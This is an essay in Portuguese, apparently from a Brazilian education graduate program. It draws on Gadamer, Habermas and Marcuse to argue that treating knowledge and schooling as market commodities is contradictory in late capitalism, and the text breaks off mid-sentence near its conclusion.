maravilhas das antigas civizações

EDUCAÇÃO E MERCANTILIZAÇÃO NO CAPITALISMO TARDIO: UMA ABORDAGEM HERMENÊUTICA

EDUCAÇÃO E MERCANTILIZAÇÃO NO CAPITALISMO TARDIO: UMA ABORDAGEM
HERMENÊUTICA[1]

Mauricio Cristiano de
Azevedo[2]

Resumo

Estudo de
análise bibliográfica que discute as relações entre a educação e seu possível
estatuto de mercadoria, dentro do paradigma produtivista em colapso na fase
tardia do capitalismo, problematizando pontos da teoria marxista da produção.
Os objetivos elencados visam expor ao fim a contraditoriedade da consideração
dos saberes como bens mercantis. Para tanto, o percurso argumentativo expõe a
questão da própria produção de sentido como consenso obtido pela linguagem, o
que desloca o conceito de conhecimento da posição de materialidade propalada
pela abordagem epistemológica moderna, abrindo o horizonte de sua consideração
como construção intersubjetiva. O contraponto à abordagem epistemológica é
feito pela abordagem hermenêutica especificamente nas obras de Gadamer e
Habermas, que fornecem suporte e base para a crítica do produtivismo
materialista. Com isso, mais do que uma disputa de posições teóricas, o
resultado das análises aponta para a falta de alcance das visões ortodoxas da
filosofia da consciência e do sujeito no trato com fênomenos do capitalismo
tardio e da cultura pós-moderna, o que convida a pensar o processo educativo, a
cultura escolar e os saberes da formação cultural como elementos posicionados
para além da lógica empresarial e dos objetivos e da educação como mera
preparação à competitividade do mundo do trabalho.

Palavras-chave: Educação. Marxismo. Hermenêutica.

1. Considerações Introdutórias

O presente texto tem
sua origem no círculo dos debates estabelecidos durante o segundo semestre de
2005, no Seminário da Linha de Pesquisa “Educação Política e Cultura” do
PPGE/CE da UFSM (Santa Maria, RS), que acabou por gerar o I Seminário Aberto
da Linha de Pesquisa 2
, no qual as idéias aqui expostas foram ensaiadas
como uma hipótese e apresentadas na forma de comunicação. A problemática
inicial tratava de aproximar a noção gadameriana da estrutura circular de nossa
compreensão e a temática da educação, focando em específico suas tensões no
eixo econômico. Tal intenção acabou por colocar em questão os fenômenos ligados
à constituição da sociedade contemporânea, na figura de conceitos e idéias
como: modos de produção no capitalismo pós-moderno; metas da formação para o
mundo do trabalho versus metas da formação para o exercício da
cidadania; exibindo ao fim a discussão dos limites paradigmáticos da abordagem
educacional atual: os limites do alcance do aparato categorial do materialismo histórico
ortodoxo frente à administração dos indivíduos pelos estereótipos dos meios de
comunicação de massa e a discussão dos conceitos de conhecimento, saber e
tecnologia para além da abordagem do paradigma epistemológico, berço do
materialismo histórico. A via ensaiada como hipótese para a saída das aporias
encontradas foi a abordagem hermenêutica.

A abrangência de tal
temática, no entanto, pede sua delimitação. Se o que está em litígio é atingir
a posição de que o conhecimento não pode ser tomado como propriedade,
implicando em que a educação não deve ter seu estatuto pautado na
mercantilização dos saberes, então deve transparecer ao final da argumentação
que muitas esferas da cultura da sociedade pós-moderna não podem ser subsumidas
pela mão invisível do mercado e pela lógica estratégica do lucro. Para tanto, o
caminho a ser percorrido passa pela exposição, mesmo que de modo sumário, dos
limites da racionalidade moderna – assumindo a posição da hermenêutica após a
virada lingüística, mais centrada nos trabalhos de Hans-Georg Gadamer e Jürgen
Habermas, mas fazendo recurso a outros autores sempre que necessário. Com isso intenciona-se
colocar o problema em outras bases, escapando assim das aporias geradas pelo
próprio modo de pensar moderno e que, se forem interpretadas aos moldes do
aparato lógico-metodológico que as gerou não irão encontrar sua dissolução.

Mas o porquê da
abordagem hermenêutica frente a outras opções teóricas que se apresentam no
pensamento contemporâneo? A justificativa no presente caso se dá por duas
razões. A primeira diz respeito à intenção do trabalho hermenêutico que é o
acordo na coisa através da fixação de um ponto médio, o qual poderia produzir a
compreensão do todo na confluência de suas partes. Essa intenção de acordo é
justamente buscada no significado comum pela via da linguagem, abandonando
assim as pretensões de infalibilidade (universalidade e imutabilidade)
constituintes da ciência e da filosofia metafísica moderna[3].

A segunda refere-se ao
plano da aplicabilidade, sendo que o recurso à hermenêutica é feito quando o
acordo na coisa não existe, ou então quando o acordo é reconhecido como
problemático (ou incorreto) entre aqueles que pretendem a situação de acordo.
No presente caso enquanto muitos autores argumentam em favor de uma educação
para a cidadania e para a plena realização do sentido de humanidade, programas
de estudos e diretrizes curriculares centram cada vez mais os objetivos da
formação educacional com vistas ao mundo do trabalho, à competitividade do mercado.
É o caso de estudos como o de Silva (2003), que analisa a influência dos
grandes órgãos econômicos internacionais, em especial a do Banco Mundial, na
organização estatutária da educação no Brasil e, com isso, no pensamento
pedagógico brasileiro. A primeira, e talvez a mais importante, das
conseqüências de tais interferências é a instalação e a consolidação da
“cultura empresarial no sistema educacional brasileiro” (SILVA, 2003, p. 288).
Outro trabalho desenvolvido na mesma linha discursiva é o de Pereira (2005) que
aborda justamente os efeitos do modo de pensar mercantilista, predominante na
atualidade, e naturalizado a ponto de ser tomado como a única alternativa de
vivência para a grande maioria da humanidade contemporânea[4].
Segundo Pereira (2005, p.7), “com essas políticas, a educação também se torna
objeto de comércio tanto no seu enfoque como na sua expansão. Em toda parte do
mudo se comercializa o conhecimento como se comercializa qualquer outro produto
ou objeto”.

Com isso antecipou-se o
problema do qual o texto trata, mas não ainda seus objetivos, embora eles
tenham sido insinuados acima. São os objetivos do presente texto: expor em
linhas gerais as razões pelas quais, na pós-modernidade, a consideração do
conhecimento como propriedade é uma idéia contraditória. Para tanto, em
específico, expõe-se em primeiro lugar a questão do sentido comum – acordo na
coisa -, como consenso obtido pela linguagem, não derivado de verdades objetais
e atemporais, aos moldes da metafísica e da epistemologia modernas; em segundo
lugar se analisa como a idéia anterior desabona a interpretação dos modos de
produção na fase pós-moderna do capitalismo, quando feitas pelas tradicionais
teorias modernas do sujeito – detentor de percepções claras e distintas, ou
seja, sujeito do conhecimento; e por fim se aborda as implicações de tais
viragens de pensamento no campo da teoria educacional, discernindo seu estatuto
dos produtos e imagens mercadológicas em sentido estrito, em outras palavras,
como saberes de formação cultural que extrapolam a categoria de
mercadoria e que visam formar para além da competitividade do mundo do
trabalho.

2. A posição gadameriana: hermenêutica, linguagem e compreensão

A estrutura circular da
compreensão consiste na articulação entre todo e parte e entre parte e todo.
Segundo Gadamer (O Círculo da Compreensão, 1959) as partes são definidas a
partir do todo, e o todo, por sua vez, é definido pelas partes. Mas assim não
se afirma que o todo se resume a uma mera soma das partes que o constituem,
pois ampliando a compreensão do todo, amplia-se, a compreensão do sentido
guardado por suas partes. Esse retorno às partes e a explicitação do sentido
guardada por elas gera, por seu turno uma ampliação na abrangência da
compreensão do todo dado.

No entanto, como a
figura metafórica em questão apresenta-se na forma de círculo, não há como
fixar, a priori, um ponto de partida seguro e de onde deve partir-se,
desde sempre, para a compreensão correta. Isso revela que na visão de Gadamer a
hermenêutica não pode arrogar-se o título de um método infalível de
compreensão como garantia da revelação da verdade. Assim, tanto quanto é
possível preencher a expectativa de sentido de um fenômeno analisado num dado
momento, a possibilidade do fracasso da compreensão sempre acompanha o ato da
tentativa de compreender em outro. Desse modo, como o círculo encerra na forma
de um movimento contínuo – a ida do todo às partes e vice-versa – o ato de
compreender, quem compreende começa sempre de uma pré-compreensão – ou
compreensão prévia – colhida na experiência.

Para evitar que o
desenvolvimento aqui proposto retorne ao emaranhado categorial do pensamento
metafísico, permanecendo assim no chão comum da linguagem, o procedimento
adotado pede que se tome precaução frente à grande abstração que os termos parte e todo podem adquirir. Para tanto, como estratégia discursiva, a
proposta é que, sem gerar confusão nas esferas de sentido, substitua-se a noção
de parte pelo termo sintagma e a noção de todo, pelo termo paradigma.
Termos esses tomados de empréstimo da Teoria Semiótica[5],
mas usados com tal flexibilidade que não venham a comprometer a hipótese da
compreensão mediada lingüisticamente, posição da qual a hermenêutica lança mão.

As unidades
sintagmáticas de interpretação dizem respeito às unidades mínimas, geradoras de
sentido dentro de um todo discursivo dado[6].
É a partir dessas unidades que se vai ao todo. Sendo que esse todo é unidade
máxima de sentido dada e que não deve ser confundido com a validade de sentido
universal moderna ou com o absoluto pretendido pela dialética idealista – ponto
que será abordado logo adiante. Essa ida das estruturas sintagmáticas até a
unidade maior, ou unidade paradigmática de sentido, é feita na intenção de
explicitar sua compreensão. No entanto, cabe lembrar que os componentes
sintagmáticos só recebem sentido na sua relação com o todo dado, e vice-versa.

Seguindo a substituição
anteriormente apontada, o todo dado, agora designado paradigma, recebe
pleno sentido quando da confluência de sentido dos sintagmas que o
constituem
. Não pode então ser definitivo, tendo em vista que se modifica
dentro de sua retro-alimentação, em função das unidades sintagmáticas. Seu
caráter de temporalidade, que é a condição que garante o seu estado de não
poder ser definitivo, encontra necessidade de modificação quando, ou o acordo
na coisa é rompido, ou reconhecido como sendo problemático. Isso exige um novo
retorno aos sintagmas, que, ao fim, doarão novo sentido ao paradigma,
sucessivamente. A correta compreensão do paradigma gera, por sua vez, uma
ampliação na compreensão dos sintagmas. Tal movimento de circularidade e de mutualidade
na geração de sentido leva à conclusão que a linguagem, seus termos, usos e
conceitos, faz referência direta e constante a outros registros da própria
linguagem, ao modo de uma reação em cadeia, o que acaba por afastar a noção de
referencialidade a objetos, condição de possibilidade da filosofia do sujeito.

Assim, a substituição
dos termos parte e todo por sintagma e paradigma,
respectivamente, é feita para evitar a confusão com, ou o retorno a, pretensão
de universalidade da metafísica, e ao absoluto pretendido pelo idealismo. Mas
por que quer se abandonar tal aparato categorial, por simples gosto?

Na verdade, não se
trata de dar às costas a modernidade e sim de precaver-se contra uma de suas
grandes aporias: que foi a pretensão de um sistema explicativo da totalidade
dos fenômenos possíveis. Nesse modo de pensar, fenômenos lingüísticos e
não-lingüísticos eram todos colocados em um mesmo grupo o que acabou por gerar
uma confusão de esferas. O mundo era tomado como portador de sentido para além
da mediação da linguagem, por conta do sistema de representação, na figura da
consciência. O que ficou aí em litígio é que, mesmo as impressões mais simples
sobre qualquer fenômeno, só podem ser transpostas em idéia ou em proposição por
um enunciado lingüístico. Para além disso, o que se tem são meras percepções
sensoriais que não podem ser partilhadas pois, ao intencionar comunicar tais
percepções, já se está na ordem da linguagem.[7] Convém mais uma vez dizer que este texto trata de problemas relativos à ordem
da linguagem.

3. O abalo das certezas definitivas: o marxismo e o liberalismo como teleologias

Aqui se analisa como a
idéia anterior desabona a interpretação dos modos de produção na fase
pós-moderna do capitalismo, feita pelas tradicionais teorias modernas do
sujeito.

A idéia de uma leitura
da história que possibilite o preenchimento da expectativa de seu sentido,
quando dada de antemão, na figura da contradição das forças de produção guarda
um elemento a priori tácito, isto é, uma projeção formal escamoteada na aparência do desdobramento temporal que, no entanto,
defende partir de casos fáticos e colhidos na experiência. Esse télos inalienável e inevitável é, marcadamente, um elemento do pensamento idealista
moderno, do qual Marx nunca se desvencilhou por completo, e que serve como
baliza para a consecução de seu prognóstico histórico-revolucionário,
redefinido e re-escrito um bom número de vezes, sempre com o cuidado de não
romper com a matriz de pensamento que o originou.

Tal ponto é assinalado
por Habermas no Discurso Filosófico da Modernidade:

A Teoria Crítica
começara por ser desenvolvida no círculo em torno de Horkheimer para digerir as
desilusões políticas acerca da revolução não acontecida no Ocidente, da
evolução stalinista na União Soviética e da vitória do facismo na Alemanha; era
chamada a explicar o fracasso dos prognósticos marxistas, sem, no entanto,
romper com os intentos marxistas. (…) No momento de sua máxima aceleração, a
história tinha cristalizado em natureza, finara-se no cemitério de uma esperança
tornada irreconhecível. (1990, p. 118).

Essa passagem assinala
precisamente o problema em questão: como, pelo aparato categorial do
materialismo histórico, explicar a decepção da expectativa de sentido da
história lançada por Marx, sem abandonar a trincheira marxista da contradição
das forças de produção?

O télos como
antecipação de sentido dada na causalidade necessária dentro da história é uma
herança que Marx[8] recebeu de Hegel, e que, mesmo com a inversão do pensamento hegeliano,
foi requisitada de modo irretocável, por vários intérpretes e continuadores do pensamento de Marx. Trata-se, para vários desses autores, de explicar o
momentâneo fracasso das previsões históricas e alçá-lo em novas bases,
redefinidas a partir de um fenômeno presente que não havia se manifestado em
outra época. Isso, por fim, gera uma posição em que a própria crítica da
ideologia não faz mais do que produzir verdades metodologicamente e
ideologicamente orientadas, visando criticar a aparente segurança metodológica
e ideológica que eram propaladas e serviam de escudo para correntes de
pensamento como o ‘positivismo’ e o ‘liberalismo’.

O pensamento que dá
sustentação à tese da racionalidade dialética na história é de cunho
marcadamente moderno. A não-necessidade do Estado positivo, que encontra sua
forma final na realização de uma sociedade comunista, encontra sua base na
idéia de autonomia da modernidade, na qual a ação e sua norma de realização são
coincidentes, prescindindo de leis exteriores de conduta, ou seja, o
desenvolvimento pleno da práxis. É interessante observar que a idéia de
apagamento da necessidade da intervenção estatal pela coincidência da esfera
pública e privada é também perseguida pelo pensamento liberal. No entanto, a
via para a consecução de tal objetivo é assinalada pelos liberais como livre
concorrência na forma de um mercado supra-humano e auto-regulado, em que o
Estado seria minimizado a ponto de ser apenas a garantia legal, institucional e
policial das três liberdades: a de dispor do próprio corpo e dos produtos de
tudo que ele puder gerar com sua atividade; a de associar-se com outros corpos
dispostos e de dispor de tudo o que essa associação vir a gerar; e a de dispor
de que tudo o que foi gerado nesta e em outra geração continue vinculado como
propriedade privada desse corpo. Esse entrecruzamento cujo télos é
desaparecimento da figura do Estado-Nação, poderia ser chamado de paradoxo
do liberalismo
. A matriz de pensamento da filosofia marxista e do
liberalismo moderno, mesmo que na forma de antípodas, podem ser colocados lado
a lado e dentro de uma mesma forma discursiva: a filosofia do sujeito;
de onde surgem essas duas meta-narrativas totalizantes, presas ao paradigma da
produção. Este último é resultado do modo de pensar moderno e não mais encontra
sustentação dentro do paradigma da linguagem, tendo em vista que mesmo a
historiografia oficial faz parte de um acordo orientado ao consenso, onde
conceitos universalistas como mercado e sociedade encontram seu esgotamento
como objetalidade ou faticidade efetiva, não sendo mais do que resultados
consensuais obtidos pelos homens no uso de sua racionalidade comunicativa.

Isso deixa ver como o
materialismo histórico tem seu berço na teleologia da história, traço tomado de
empréstimo da teoria da história do idealismo absoluto de Hegel, que não é mais
abandonado, como no caso da teoria da autodestruição do modo de produção
capitalista. Tal posição repousa sobre a idéia moderna e iluminista de
auto-consciência, autonomia e por fim da não-necessidade de uma legislação
positiva e da ausência de Estado. Aqui tal vertente de pensamento difere
radicalmente de Hegel, que via a auto-realização do espírito absoluto na
perfeição de uma forma do Estado.

Marcadamente, a
orientação para o agir que daí brota, não pode abandonar o princípio de
racionalidade na história, para tanto, deve-se, mais uma vez, reabrir a
discussão de uma relação privilegiada da modernidade com a racionalidade, posta
na figura do iluminismo. Para Habermas (1990, p117) “o drama do iluminismo só
atinge a sua peripécia quando a própria crítica da ideologia cai na suspeita de
não produzir (mais) verdades – e o iluminismo se torna, pela segunda vez,
reflexivo”. No entanto, o que aqui está em jogo não é desabonar as teses da
Teoria Crítica, mas sim chegar ao ponto onde ela encontra seus limites,
justamente por encontrar os limites da formulação do discurso marxista.

Habermas (1990, p. 69)
afirma a existência de duas tendências peculiares da relação sujeito-objeto
dentro da filosofia moderna. A primeira delas diz respeito ao sujeito
cognoscente, ao qual correspondem opiniões sobre o mundo objetivo. Para
Habermas tal matriz filosófica pode ser denominada de filosofia da reflexão.
A segunda trata do sujeito atuante ao qual corresponde produzir algo no mundo
objetivo, sujeito esse que leva a efeito atividades orientadas a fins e que
podem ser valoradas como bem ou mal-sucedidas. Essa tendência é uma das
variantes da filosofia da práxis[9].

A mediação entre o
conhecer e o agir é efetuada pela concepção de um processo de formação
cultural; é passando pelo medium do conhecer e do agir que o sujeito e o objeto
entram, sucessivamente, em novas constelações, sendo eles mesmos afetados e
modificados na sua forma por estas. A filosofia da reflexão, que privilegia o
conhecimento, entende o processo de formação do espírito (segundo o modelo da
auto-referência) como processo de consciencialização; a filosofia da práxis,
que privilegia a relação entre o sujeito atuante e o mundo dos objetos
manipuláveis, entende o processo de formação da espécie (segundo o modelo da
auto-exteriorização) como autoprodução. Assim, para esta é o trabalho e não a
autoconsciência que é válido como princípio da modernidade (HABERMAS, 1990, p.
69-70).

A forma modelar da
segunda das duas abordagens é encontrada no discurso marxista. Mesmo com a
inversão do hegelianismo, Marx preserva a figura da alienação, a exemplo da
dialética do senhor e do escravo, mas coloca tal problema nas bases do trabalho
e da produção das condições materiais da vida. Dessa forma o trabalho morto é
aquele no qual não há re-apropriação da força vital despendida pelo
trabalhador. Ele, o produtor (trabalhador), é alienado de seus produtos pela
apropriação privada da riqueza produzida coletivamente, por meio do trabalho
assalariado (que garante sempre novamente a geração da mais-valia, que recebe a
denominação de lucro), fazendo com que a circulação normal da práxis
seja interrompida por uma finalidade externa a própria autoprodução da espécie
(tendo em vista que a finalidade do trabalho é a superação da determinação
física da natureza e a garantia das condições materiais de produção da vida),
que nada mais é do que a mais valia espoliada do produtor pelo detentor dos
meios de produção. Sendo então re-investida na geração e na ampliação das
formas de obtenção de lucro. Isso gera duas conseqüências: a perpetuação do
sistema de dominação e exploração por meio do trabalho, e a independentização
da figura do capital (que, com efeito, é o trabalho morto expropriado
que não se destina a manter de nenhuma forma de vida humana, seja do
trabalhador ou do detentor dos meios de produção, mas tão somente serve a
manutenção e ampliação dos lucros) convertida em entidade autônoma, sendo assim
o sujeito universal do modo de produção histórico alicerçado na figura da
propriedade privada. Se a quantidade de recursos é limitada, para que haja
apropriação por uma das partes, a outra deve ser sempre expropriada.

Por outro lado, a
práxis satisfeita (HABERMAS, 1990, p. 70) remete a um modelo de trabalho ideal,
que deve abranger o próprio conteúdo racional da cultura burguesa e assim expor
à luz o retrocesso da condição humana dentro do progresso material do modo de
produção capitalista. A metáfora usada por Marx aproxima a práxis não obstruída
da atividade criadora do artista, que se re-apropria em completo de sua força
vital na contemplação dos produtos de sua atividade criadora. Assim a atividade
crítico-revolucionária também é abarcada no conceito de práxis como “ação
política autoconsciente com a qual os trabalhadores associados quebram o
feitiço capitalista que o trabalho morto exerce sobre o trabalho vivo e se
apropriam de suas forças vitais alienada pelo fetichismo” (HABERMAS, 1990, p.
71). Cabe então a pergunta: a práxis revolucionária não deveria brotar de
dentro do próprio trabalho a exemplo da atividade do artista? Ao invés disso o
que se observa em geral nos prosseguidores do trabalho de Marx não é a
tentativa de aproximar a realização da totalidade ética da esfera
estética
, mas sim, ligar a realização da ética ao cálculo de fins e meios,
típico da ação da racionalidade cognitvo-instrumental. Essa posição requisita
novamente a razão unificadora e totalizante, convertendo a práxis emancipatória
em uma razão estratégica orientada para fins exteriores à própria ação. Ou
seja, fazer com que a classe proletária converta-se ela em classe dominante e
submeta os antigos capitalistas ao jugo do trabalho assalariado. Em outras
palavras, uma interpretação apressada da teoria de Marx, leva a entender que se
trata de inverter as posições, mas de manter a relação de dominação e da
contradição das forças de produção. Quando na verdade a meta final que
proporcionaria o início da história humana, seria, na visão de Marx, uma
sociedade liberta de classes e o fim da dominação do homem pelo homem.

A atitude crítica,
frente aos resultados da própria crítica das ideologias, e das categorias
clássicas do materialismo histórico gera, inevitavelmente, uma inquietação do
conjunto de crenças adjudicadas e propagadas pelos vários intérpretes e
re-formuladores das idéias de Marx, crenças essas tomadas como seguras e certeiras.
Tal fato é uma das consequências surgidas com o movimento discursivo de que as
posições e categorias do materialismo histórico são, sobremaneira,
irrefutáveis. Em outras palavras, as idéias e posições teóricas surgidas com o
materialismo histórico, foram dogmatizadas, isto é, tornaram-se, em algumas
esferas de ação e discussão política, ideologias dominantes e apodíticas.
A tal posição pode-se chamar marxismo ortodoxo. Tal atitude teórica
mostra o encastelamento do pensamento de Marx por grande parte dos marxistas, o
que atenta contra o próprio autor, transformando exatamente o poder da crítica
ideológica em ideologia dominante, perpetrada no conflito de interesses e de
poder entre classes, quando o resultado de nossa exposição anterior mostrou que
pólo para o qual apontava a destinação histórica de sua teoria era o
desaparecimento da figura das classes e a des-identificação entre poder e
dominação

Uma das possíveis
saídas para tal impasse é encontrada no pensamento contemporâneo, mais
especificamente no pensamento de Habermas, no qual, a idéia de um télos fraco (não necessário e não universal), encontra sua decisão na forma de um
acordo ou consenso em um diálogo mútuo e comum (sem o uso coercitivo da força),
que não só substitui a teleologia metafísica que serve de base para o movimento
temporal que o historicismo quer explicar, como também suplanta a hipótese de
um curso histórico necessário e imutável da humanidade enquanto espécie, que
deixa sempre escapar as ações e decisões dos homens como indivíduos capazes de
fixar, em esferas de poder menores do que as das grandes estruturas de poder da
política representativa, nas quais as expectativas de fins e de intenções de
sentido, das crenças e das ações, acabam por apartar: homem e humanidade; meios
e fins; mundo sistematizado e mundo da vida.

No entanto, com isso
não se quer dizer que individualmente e isoladamente os homens são capazes de
estabelecer metas às suas ações, independentemente de contextos maiores de
sentido; de relações de poder; e das investidas sistemáticas da coerção da ação
pelo uso da força. O que fica em jogo é que o fulcro das ações e das
transformações na esfera pública, não parte somente do topo da organização das
relações sociais e de poder, e não exclusivamente das grandes metas-narrativas
do discurso da modernidade, como por exemplo, a meta-narrativa da revolução
inexorável que tem como sujeito histórico o proletariado ainda não consciente
da eclosão dessa revolução inevitável numa sociedade capitalista. A má
interpretação política dessa meta-narrativa da filosofia do sujeito gerou duas
variantes: ou toma-se consciência pelo proletariado e faz-se por ele a
revolução (teoria da vanguarda revolucionária, ou variante leninista) ou
promove-se a conscientização desse sujeito (o que converte a filosofia do
sujeito em filosofia da consciencialização e se desloca o foco da práxis para o
da contra-ideologia, numa variante discursiva bastante comum no ambiente
educacional brasileiro pós-anos 80, onde os “adquirir consciência sobre” são
imperativos e somente a pouco passaram a receber um momento de auto-crítica
dentro do próprio discurso pedagógico)[10].
Com efeito, as ações na esfera pública encontram seu alicerce nas ações
comunicativas, comunitárias e cotidianas, postas nos diálogos e nas relações
estabelecidas no mundo da vida. A informação e a comunicação contemporâneas
alçaram a produção a outros patamares, e sua compreensão, teorização e mesmo
transformação, só encontram possibilidades de se tornarem efetivas com a
consideração desse novo estado de coisas, para além antigo materialismo do
Século XIX.

4. Implicações no Campo Educacional

Na fase pós-moderna do
capitalismo, deixou de ser sociedade industrial para se tornar sociedade da
tecnologia da informação.
Tal mudança está balizada nas diversas mudanças
sofridas nos modos de produção inerentes ao capitalismo pós-moderno e que pedem
o abandono do paradigma de produção material. Entre elas podemos elencar a
produção vídeo-financeira de bens e valores, onde o lastro do trabalho é
abandonado como traço fundamental do capitalismo e a venda de papéis, títulos
públicos vinculados a taxas de juros e às especulações das bolsas de valores
determinam o sucesso ou não de economias nacionais (que podem ser lidas como
unidades sintagmáticas dentro do paradigma maior de economia globalizada). Nos
moldes de tal conjuntura econômica um revés climático no meio-oeste
estadunidense pode determinar, por exemplo, uma alteração no valor da soja
produzida no Brasil. Situações como essas eram impensáveis em outros modos de
relações econômicas não associadas à tecnologia da informação. Hoje, é
possível, graças à tecnologia da informação, que uma guerra deflagrada no
Oriente Médio, que mantém sua importância no cenário internacional graças aos
seus poços de petróleo, venha a interferir no volume de negócio e na carestia
do combustível num país distante como o nosso num período entre 24 e 48 horas.
A circulação de informações, notícias e projeções sobre eventos futuros pode
gerar apreensão ou otimismo no mercado especulativo e como conseqüência dessa
configuração da geração de valor imaterial (podendo ser somente virtualidade
que nunca se efetive) as condições de produção da vida material se vêem lançadas
a novas constelações. Outro fenômeno passível de acontecimento na economia
contemporânea é que uma empresa que trabalha com desenvolvimento de componentes
de informática, através da patente do projeto arquitetônico de um chip de computador, possa vendê-lo a fabricantes de diversas nacionalidades,
obtendo, muitas vezes, maiores lucros do que com a própria produção material do
bem; ou então instalar companhias subsidiárias em outra parte do mundo, sem com
isso gerar postos de trabalhos ou produzir materialmente no mesmo mercado onde
suas ações são comercializadas.

Assim, e de acordo com
Marcuse (2001), passa-se a ler a organização social contemporânea como sociedade
tecnológica
, ou ainda sociedade da tecnologia da informação, na qual
os conceitos de cultura e de formação cultural se projetam para além dos bancos
escolares e universitários. Sendo hoje a sociedade muito mais influenciada
pelas tendências dos grandes veículos de comunicação, marcadamente comerciais e
espetaculosas, o que gera uma cisão radical com a tradição cultural (e
com isso com a própria filosofia marxista), que, com tal configuração na ordem
do saber, passa do fundamento ao pano de fundo. Mas com isso trata-se de romper
com o pensamento da modernidade?

A resposta a essa
pergunta é paradoxal: em certo sentido sim e em outro sentido não. Por primeiro
cabe esclarecer que não se trata da reabilitação da tradição fundamentalista,
assim como não se trata da rejeição de toda a tradição cultural, vista na
figura do pensamento moderno. No entanto, não há como negar esse estado de
coisas, bem como o impacto que sofre a cultura, a formação cultural e também a
cultura escolar. Trata-se sim de averiguar e analisar o impacto sofrido pela
tradição cultural moderna, que norteava a cultura escolar, seus fundamentos e
seus objetivos, frente à hierarquia de valores pautados pelos vários aspectos
da materialidade liberal, posicionada hegemônica e imperativamente na
configuração atual da civilização ocidental.

Fazer recurso às
palavras de Marcuse torna o raciocínio mais preciso:

Cultura
é mais do que uma mera ideologia. Em vista dos objetivos proclamados pela
civilização ocidental e da pretensão de realizá-los, definiríamos cultura como
um processo de humanização caracterizado pelo esforço coletivo para
conservar a vida humana, pacificar a luta pela existência, consolidar uma
organização produtiva da sociedade, desenvolver as capacidades intelectuais dos
homens e diminuir e sublimar a violência a agressão e a miséria (…). A
educação para uma independência intelectual e pessoal soa como se fosse um
objetivo universalmente reconhecido. Na realidade (…) podemos assinalar uma
passividade dos homens ante o aparato político e econômico onipresente (…):
uma separação do individuo das fontes de poder e de informação que transforma o destinatário em objeto de administração (2001, p. 79).

O que as palavras de
Marcuse deixam ver é que hoje, mais do que a dominação crua e direta, exercida
pelas relações de produção, os destinatários das mais diversas formas de
mensagens dos meios de comunicação de massa, convertem-se em indivíduos
administrados. Marx e Engels conceituaram ideologia como domínio da ilusão,
“idéias falsas, a respeito de si mesmos, do que são ou de que deveriam ser”.[11] O marxismo ortodoxo fixou sua interpretação desse fenômeno na figura do
trabalho, seio da contradição das forças de produção. Os percussores da teoria
crítica (crítica da ideologia) compreenderam que essa dominação excedia as
relações postas no trabalho e avançavam sobre o domínio do lazer e sobre todas
as formas sob as quais de apresentam a cultura, as trocas culturais e a
formação cultural. De uma lógica de produção, o capitalismo enquanto ideologia se
converte em e busca amalgamar-se à cultura, tendendo a operar como fonte
geradora de critérios, sedimentando-se por conseqüência na figura de valores.
Não mais somente a fábrica, mas também o tempo livre, os meios de comunicação e
informação, as artes, a escola, a vida cotidiana e a idéia de humanidade, se vêem
racionalizados e submetidos ao domínio da ilusão, operando instrumentalmente
coordenado com a independentização da entidade capital. No capitalismo a
ideologia busca converter-se em cultura.

Mas até que ponto essa
racionalidade instrumental, aos moldes de uma empresa que organiza suas
atividades em termos de lucro e prejuízo, interfere no processo educativo? Onde
se apresenta o limite do discurso educacional e o das estratégias de mercado?

A esse respeito
assevera Habermas no segundo volume da Teria da Ação Comunicativa: “os meios
dinheiro e poder só se ajustam a determinadas funções. (…) Estes meios
fracassam nos âmbitos da reprodução cultural, da integração social e da
socialização; nestas funções não podem substituir o mecanismo do entendimento como
mecanismo coordenador de ações” (TAC II, p. 457). Dinheiro e poder são sim
meios de controle e a sociedade perde, com isso, a substância normativa de um
entendimento mútuo, isto é, nas esferas sociais onde os meios dinheiro e poder são o referencial para a tomada de decisões, o entendimento mútuo
é mascarado pela relação de lucros e prejuízos, onde os elementos sintagmáticos
devem compor o arranjo maior personalizado no paradigma mercadológico,
sendo então as sociedades politicamente definidas nos termos dos volumes de
suas transações comerciais.

Para Goergen (2004, p.
134) “a razão comunicativa, voltada ao entendimento e fortalecida via educação,
pode ser o caminho para reverter o cenário de competitividade, de egoísmo e
não-solidariedade que caracteriza o mundo de hoje”.

Na modernidade a
dimensão cognitiva da razão, em que pese as exitosas ações de conhecimento,
domínio e controle da natureza, levou a um processo de institucionalização e de
universalização da razão instrumental sobre outros domínios dos saberes. Assim,
“esses novos princípios passam a comandar todo o processo de socialização e de
educação, tanto formal quanto informal, a partir dos princípios da razão
instrumental ou estratégica” (GOERGEN, 2004, p. 135).

Ainda de acordo com
Goergen (2004), como em outras esferas do mundo da vida, que não podem existir
sem os progressos e inter-relações com o mundo sistêmico, mas que nem por isso
devem ser colonizadas por este, na educação as exigênciasda conjuntura
econômica fazem com que a cultura escolar abandone

progressivamente a
tarefa de pensar a sociedade e o ser humano como um todo, na perspectiva
educativa de sua humanização. [desta forma] a capacitação profissional dos
indivíduos marginaliza por inteiro outras responsabilidades, como a integração
social ou o desenvolvimento de capacidades individuais não relacionadas ao
rendimento (2004, p. 136).

Por fim, Goergen (2004)
considera que “tudo ali converge para adaptar o indivíduo às expectativas do
sistema e, particularmente, ao mercado, que é o novo todo-poderoso deus, diante
do qual todos devem curvar-se e render serviço” (p. 136).

Assim, a saída apontada
para a relação entre educação e razão instrumental pede que se repense todo o
projeto educativo, lendo-o pela nova chave da racionalidade comunicacional,
buscando abrir outras perspectivas para além da centralidade do conceito de
trabalho, como modo de resgatar as dimensões perdidas da formação cultural como
humanização e que são o compromisso com o próprio humano e com o social.

Esse horizonte de sentido
da ação educacional só pode ter seu preenchimento quando do uso comunicativo da
linguagem e dos acordos intersubjetivos por ela propiciados, para além da
instrumentalidade da ação. Sendo a intersubjetividade uma área de domínio comum
onde não cabe a noção de propriedade na forma de ‘minha linguagem’. Tematizar
o conhecimento como médium lingüístico formado pela intersubjetividade, e a
formação pela racionalidade comunicacional deslocando a racionalidade
instrumental da posição central, torna possível tematizar o que fica fora de
alcance no paradigma do sujeito e produtividade. Deste modo a consideração ‘nossa
linguagem
’, em relação ao saber acumulado pela própria humanidade e
transformado em acervo pela mediação comunicacional lingüística com as gerações
passadas e as vindouras, exclui do conhecimento a possibilidade de
justificativa de que ele seja tomado como propriedade de uns para o exercício
de dominação e coerção de outros. O pretendido é assumir a posição de ‘nosso
conhecimento’, do acervo científico-cultural, como repositório dos saberes
produzidos e partilhados pela humanidade no curso da história, que recebe o
mesmo estatuto das condições materiais da vida e que, sendo produzido
coletivamente dentro de um processo histórico, deve ter acesso livre garantido
à coletividade. Essa é uma condição necessária da formação do gênero humano,
com vistas a realizar o que pode vir ser, liberto do jugo da dominação.

Cabe por fim ressaltar
